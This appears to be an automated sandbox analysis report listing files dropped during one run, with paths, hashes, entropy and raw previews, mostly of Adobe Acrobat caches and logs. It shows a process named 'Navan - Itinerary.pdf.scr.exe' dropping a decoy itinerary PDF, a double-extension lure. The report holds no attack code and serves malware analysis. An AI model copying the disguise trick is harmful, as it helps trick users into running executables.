SHA1:	4EABD700DB6F02840CFAE0BE787FBD0D6B80DB0D
SHA-256:	3F02CD9AD385D79CAF85C747267AF6202E36813F596B856DDCF2C8924ADAB932
SHA-512:	3838572CA9E86170909E6A4E80CEF3616286A0CAF9DDF4176B6B514253042277657BF27D379B48A1C6AA6C9E0900C0B35412F52D24F903F267D48909E20782AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66515960230052
Encrypted:	false
SSDEEP:	24:Yv6XOpmeOVamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSv11:YvFUeoBgkDMUJUAh8cvMv11
MD5:	2E9C5EB6F26B71F34B6129C00FC5C97B
SHA1:	747EDE1B4B5117CBFF0107B5F90A996CD0F74403
SHA-256:	5BDC83F1770A6853EC2403990FE6481721CB945B176ACEAA329B438A21B4808A
SHA-512:	0FED3770FB31DFBA91FAD785F8FEB34DA16B6ACAE533AFA72FDBEA1A1922F1F1E56E8238E98B05EFCE235D9E135F59D5354BC0B079C2659600895C522D29BFFA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.25877333196114
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJfshHHrPeUkwRe9:YvXKXlQ/RsdTeOwGUUUkee9
MD5:	F763609D1963CF285583AA701C0C94EF
SHA1:	23EB1B7510C4FED8E7F703680AF5DB8ED50AEE41
SHA-256:	57EB6EF436C214DC945CD180A108F7035FCDD19B62D7C1067D863F2E07B2CDB4
SHA-512:	6579744686234DABDF36AB9FDC797E2A602600E0DBB070DE79554112E96ADF8B8B753A184B420961FFB7472130FF4A87EA4316BAC7EE0359369A5B590D02ED27
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2851015732841855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJTqgFCrPeUkwRe9:YvXKXlQ/RsdTeOwGTq16Ukee9
MD5:	810C20979954D095F8AC51A9FF9B8618
SHA1:	E3823E5852F4DA58B4523BC187CD2781E6D77DA6
SHA-256:	B2DFA7875F67FD2176D11FA350F3B14F57110B6A594C6CB1DD3057CCDE54C070
SHA-512:	13CA28DC32F134C757F620A65EFC8AF17AFC0327C64EB50748A4AB3E9903266DED1B143D31C7FDEEA8F3DAD9B271B45FE83C77EBF948C74CCAE5E685215205B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1404691602982
Encrypted:	false
SSDEEP:	48:YuN8lTeKO8wxZWw+/3Ox+S6pfl4sEHcIM+U60xx9mF1Q5:xeZOZOex+XpIMz6S+G
MD5:	89BBB11270ACB9F34F3A3FB51030E2E1
SHA1:	36B34BA9F326CE0AC1F0AC506BA66D95FE585E7D
SHA-256:	A72802D59737250D3503E6F81362465CA19D47BA1F050D3BEE6657B78B363831
SHA-512:	99B538A9522BA3B667CEC81A0B95198E012DE20CB1DE5E9F885E074110B75BF62BB91D0F047C21DF74F101748ECEE87B3EC83D5D32DF9E947A345CD054B9C253
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3a1fc01358cadc74a002d83ae8d84551","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1734789621000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f68f4e831e2ff49bf5c1c21b4db470bb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1734789621000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b7431b6f33d97e99f2de9056b1eb11bb","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1734789621000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ab60b89a497c38412c56b47fe328fea2","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1734789621000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"2dfcc86b0644b79d646db87e10a2dde7","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1734789621000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"1902b650604f42ae57db26a8cd3ac45c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4528630978436816
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dskgliS:lNVmsw3SHtbDbPe0K3+fDZdc
MD5:	2448926F0072D88536F66D5E31DB3C55
SHA1:	492609647A25EDE07CBDE8F6FF0C7FEEA2525985
SHA-256:	4B046DCA0098367632329206A8F13AFCFAB1B71D55952412EA5447572962722C
SHA-512:	FD63CCF2560B33EB01318681B27243B801DB2683AC5F7F3F83C084216A3C85DD56FE8FF43D55DEFB22C8D763FAD518101ACCDE2FBAF73E904ADE5C9559A493C2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.958166157587978
Encrypted:	false
SSDEEP:	48:7MmrvrBd6dHtbGIbPe0K3+fDy2dskVTqFl2GL7msQ:7H3SHtbDbPe0K3+fDZdTKVmsQ
MD5:	2CF0FF8F905CB622260954247AF5CD3F
SHA1:	B307F186E77CFF7EA3AA6993E4E1D3557B042AE6
SHA-256:	293C80CE23AD85D542DF0A61BAD73175FD90853AEC4D51127C38F0F943D98D7B
SHA-512:	2DB48ED9853DFFA6E2B2B130A650DDA56336226F7FF34E4CA8609C7B53254955FBA7E88B6EE48911F62F2A760FA18F0AAFADE30567A24FF22748BD9899721138
Malicious:	false
Preview:	.... .c........i......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgTaF0Yw9wYJQ6YXZSal+qeM0PdYyu:6a6TZ44ADETaF0YUpJPYizdK
MD5:	90A0AD810D46DAD2045D9E32E4FF2FFA
SHA1:	9D20AEB291C9310FACFACE8FB469C736F6D86696
SHA-256:	AE32C1E0C14CE94F887EF8F29E8323E20E0FB0E3F864A2AED152E8B1CB61C493
SHA-512:	3E4E27DB37DE63A202D5014ECE6919B092DC571F7763619F14A9096CB587788533949257625DBCA8E768BBDA81E7923298DA1ECB063E0A92D1A8B66D9A455354
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\NavanItinerary[1].pdf

Download File

Process:	C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe
File Type:	PDF document, version 1.4, 2 pages
Category:	modified
Size (bytes):	51800
Entropy (8bit):	7.644473294145779
Encrypted:	false
SSDEEP:	768:yaBT4Xd/H2AZAyXOKmd8iOK5ZezAr5MUXs6dcoboWopxasKk48WoGQICpVMRtJHi:0XaPEaAHjlO4Bsl52QAVZFKdtTvyh
MD5:	0AEE57F18680198E40AA2A6B37D2EB7E
SHA1:	222695CE34141FF67BC730F534A363A47CE9791D
SHA-256:	EFEEBFD836442C3C6D011F68D0A8B48F0323AF49F60C53243341703122CC5A07
SHA-512:	DC7C1DB22E7F6A0AC2A1831C6652CFD8A96C9D5B64D50775822D20DA1193EF4134CECEFF23AED3AC5A6CE8C3E754B3FCF54313650807623A50E55A4E5DC76749
Malicious:	false
Preview:	%PDF-1.4.%.....1 0 obj.<</Title (Navan - Itinerary)./Creator (Mozilla/5.0 $Windows NT 10.0; Win64; x64$ AppleWebKit/537.36 $KHTML, like Gecko$ Chrome/128.0.0.0 Safari/537.36)./Producer (Skia/PDF m128)./CreationDate (D:20240909222619+00'00')./ModDate (D:20240909222619+00'00')>>.endobj.3 0 obj.<</ca 1./BM /Normal>>.endobj.7 0 obj.<</Filter /FlateDecode./Length 3830>> stream.x..<Y...q..+.11.b.]]U.A`I.B.....<..Kv@......A.w....+.......=.u.]..........W.../...?.\@D..BN.Z.9."r..-?.....).9.p`@.j.s.tr....` .._....o.....^}+...9.B.h.R...\|>.......>.I.5..$"@...I..U......`....\P......\#Y...-o..........7~:.....5..?...9.#..A`M2...pRB.X..T..H.B.....O.NX.x..A..Md.l.......70.T.B...&n..&..[..'61......uRk.U"/$.RC.......Bj.R}.b@..V...3M5.&.a...%G...=q.Vb^I!.u..H..V.d.#x.$..+.U.<..i... x#.(-.pL.a..jt.NR.....eM.?.vT..9....O..j..?.R...D,..`(...s..r.5..d2.%..M.XX.......9W@.XW..7......Q.I.aI..I.vk...D.y.B.[.....$x..x.o..y1'!Q...O.s.u]UhU5b6..H}%.*r..9.N.\.R.ZJ].4$...jrE..)m.BeM.).....'

C:\Users\user\AppData\Local\Temp\MSIf87bf.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.505069684106714
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8dk3le:Qw946cPbiOxDlbYnuRK/g
MD5:	AD96510CAEB5728F05242EA3FE281C45
SHA1:	8BD49AC5DBA8C04F946CEC8AF5EF9F741CF82E90
SHA-256:	329CA326E45C05B9BB8CB45EBB9360B7B39E7B1DAEB3E97D89869ED525812E56
SHA-512:	B69FCC5A814A62035222A85A52314499EAB8262E17BC1BFE87A23ED8AB647A8BE4E0141B7710519246EE99CDCC86A2BE465AEC1A8336195BD1ADB0100999F75B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .2.1./.1.2./.2.0.2.4. . .0.7.:.1.8.:.2.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\NavanItinerary.pdf

Download File

Process:	C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe
File Type:	PDF document, version 1.4, 2 pages
Category:	dropped
Size (bytes):	51800
Entropy (8bit):	7.644473294145779
Encrypted:	false
SSDEEP:	768:yaBT4Xd/H2AZAyXOKmd8iOK5ZezAr5MUXs6dcoboWopxasKk48WoGQICpVMRtJHi:0XaPEaAHjlO4Bsl52QAVZFKdtTvyh
MD5:	0AEE57F18680198E40AA2A6B37D2EB7E
SHA1:	222695CE34141FF67BC730F534A363A47CE9791D
SHA-256:	EFEEBFD836442C3C6D011F68D0A8B48F0323AF49F60C53243341703122CC5A07
SHA-512:	DC7C1DB22E7F6A0AC2A1831C6652CFD8A96C9D5B64D50775822D20DA1193EF4134CECEFF23AED3AC5A6CE8C3E754B3FCF54313650807623A50E55A4E5DC76749
Malicious:	false
Preview:	%PDF-1.4.%.....1 0 obj.<</Title (Navan - Itinerary)./Creator (Mozilla/5.0 $Windows NT 10.0; Win64; x64$ AppleWebKit/537.36 $KHTML, like Gecko$ Chrome/128.0.0.0 Safari/537.36)./Producer (Skia/PDF m128)./CreationDate (D:20240909222619+00'00')./ModDate (D:20240909222619+00'00')>>.endobj.3 0 obj.<</ca 1./BM /Normal>>.endobj.7 0 obj.<</Filter /FlateDecode./Length 3830>> stream.x..<Y...q..+.11.b.]]U.A`I.B.....<..Kv@......A.w....+.......=.u.]..........W.../...?.\@D..BN.Z.9."r..-?.....).9.p`@.j.s.tr....` .._....o.....^}+...9.B.h.R...\|>.......>.I.5..$"@...I..U......`....\P......\#Y...-o..........7~:.....5..?...9.#..A`M2...pRB.X..T..H.B.....O.NX.x..A..Md.l.......70.T.B...&n..&..[..'61......uRk.U"/$.RC.......Bj.R}.b@..V...3M5.&.a...%G...=q.Vb^I!.u..H..V.d.#x.$..+.U.<..i... x#.(-.pL.a..jt.NR.....eM.?.vT..9....O..j..?.R...D,..`(...s..r.5..d2.%..M.XX.......9W@.XW..7......Q.I.aI..I.vk...D.y.B.[.....$x..x.o..y1'!Q...O.s.u]UhU5b6..H}%.*r..9.N.\.R.ZJ].4$...jrE..)m.BeM.).....'

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-21 07-18-19-461.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.348881625341943
Encrypted:	false
SSDEEP:	384:hJ7ojBHNCviYan1JhniLPa2bP8IRBDToE3R71dbM60Wb2DU1F6rij0jxVqVcViV/:o1rgKgl
MD5:	9B15F79060C6713F3C72F5C7D4E93F79
SHA1:	0B2B45E96904B402F9785D5071AE9042B93E6C1D
SHA-256:	E163505A16DEE09EDFDC30C4E26B97E2C00525C442D443CB8F99B9862B789872
SHA-512:	5AE33500B50D2652C3B145D7B886D20DCB22338A151301E98DD8FE5A8E12A761869563B36B65549BFF3CB26398BBB2D04538A6CD0B1BDCFB02E46EA7E0362E16
Malicious:	false
Preview:	SessionID=27a0fad9-29e5-4371-bd34-72985b314558.1734783499471 Timestamp=2024-12-21T07:18:19:471-0500 ThreadID=7872 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=27a0fad9-29e5-4371-bd34-72985b314558.1734783499471 Timestamp=2024-12-21T07:18:19:472-0500 ThreadID=7872 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=27a0fad9-29e5-4371-bd34-72985b314558.1734783499471 Timestamp=2024-12-21T07:18:19:472-0500 ThreadID=7872 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=27a0fad9-29e5-4371-bd34-72985b314558.1734783499471 Timestamp=2024-12-21T07:18:19:472-0500 ThreadID=7872 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=27a0fad9-29e5-4371-bd34-72985b314558.1734783499471 Timestamp=2024-12-21T07:18:19:472-0500 ThreadID=7872 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.413580340410339
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRA99pm5UpcoOc0ZP:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRf
MD5:	FB57767CC45479F61C43507C4D49478D
SHA1:	BC346CF224159144383E8C5A9DCB64FC18474EBA
SHA-256:	94D92C269DADB6DAC1B71F1CD643B5ACAFA26A1BF75DA6D8817F3F0A210E2E7B
SHA-512:	C7406CDF09655ADC79298AE40205EC6A2BA968A9960FBB49F3863800AB7F012439D13B35578E1D2708A9E97BBAE52DDBA072146D59FF545C6240D205811EC2EB
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\124b6abb-1a10-40d6-a4b3-c90e90b087b5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VR9WL07oXGZnYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tR9WLxXGZnZGh3mlind9i4ufFXpAXkru
MD5:	9D85D4B75E446857CE3D750299B2AF1A
SHA1:	3CD9576D0A07B9E4454F4FF4DDF8D18EFBB764B4
SHA-256:	D3C44F50FD2912C92DAF009689B221515709E00C839A8DA425078C96F2D6053A
SHA-512:	1C63A091EF404FC446F1A789D33258FE9F6AD25C80375CADADF0829BC5DCD70A16A8E30E664D0A02F39E7A3D10B9E56AD7F9CA9D733A877726C1DD043B14842F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\2de96242-2280-41f5-b989-9672aa29f6d9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\62626088-0d00-4dbd-b759-863a97c17b43.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
